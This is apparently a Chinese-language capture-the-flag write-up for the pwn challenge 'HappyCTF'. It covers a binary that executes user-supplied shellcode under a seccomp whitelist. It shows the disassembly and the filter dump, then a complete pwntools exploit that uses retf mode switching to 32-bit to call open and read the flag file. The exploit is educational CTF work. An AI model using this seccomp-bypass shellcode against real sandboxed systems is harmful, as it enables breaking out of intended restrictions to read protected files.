唉咱好菜,就出了一题

HappyCTF

public vuln
vuln proc near

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rax, aNowPlzYouInput ; "Now,plz you input:"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+buf]
mov     edx, 100h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     [rbp+var_8], rax
mov     rdx, [rbp+var_8]
mov     eax, 0
call    rdx
nop
leave
retn
; } // starts at 401355
vuln endp

有一个沙箱,白名单,有read 和 write 但是没有open,搜了一段时间发现,fstat的系统调用号是5,32位下 open的系统调用也是5,沙箱没有对架构做检查

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

用32位的open 配合 64 位的 read write 打orw

切换成32 位的模式要用 retf,retf等价于 pop cs ; pop rip,因为栈地址是不知道的需要迁移一下,所以在切换前用mmap分配一段有rwx的内存,往上面写open retfq(32 to 64) read write的shellcode,然后retf切换模式 同时mov rsp迁移过去。

因为64位下 push是以八字节为单位push的,retf 在 (pop ip;pop cs)的时候是以四字节为单位pop的,所以不能直接push,可以通过 mov [rsp],eax mov [rsp + 4],eax 这种方式 或者 dword ptr来 “push”

retf 用 pwntools中的asm编译不了,可以用nasm编译,objdump -d 去提取字节码

;;nasm -f elf64 test.asm 
;;ld -m elf_x86_64 -o test test.o
global _start
_start:
    retf

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', log_level='debug')
is_debug = 0

IP = "node1.anna.nssctf.cn"
PORT = 28325

elf = context.binary = ELF('./HappyCTF')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

bss = 0x404000


payload = asm('''
mov eax,9
mov edi,0x23000
mov esi,0x1000
mov edx,7
mov r10,0x22
xor r8,r8
xor r9,r9
syscall
''')

payload += asm('''
xor eax,eax
xor edi,edi
mov esi,0x23000
mov edx,0x200
syscall
''')

payload += asm('''
    mov rsp,0x23500
    mov eax,0x23
    mov [rsp + 4],eax
    mov rax,0x23008
    mov [rsp],eax
''')
payload += b"\xcb"


payload2 = b"flag\x00\x00\x00\x00"
payload2 += asm('''
mov eax,5
mov ebx,0x23000
mov ecx,0
int 0x80
''')

payload2 += asm('''
push 0x33
push 0x23022
retfq
''')
# payload2 += b"\xcb"

payload2 += asm('''
xor eax,eax
mov edi,3
mov esi,0x23000
mov edx,0x40
syscall

mov eax,1
mov edi,1
mov esi,0x23000
mov edx,0x40
syscall
''')



sa("Now,plz you input:\n",payload)

time.sleep(0.4)
# g(p)
s(payload2)
p.interactive()
2024-02-14
Contents
  1. HappyCTF

⬆︎TOP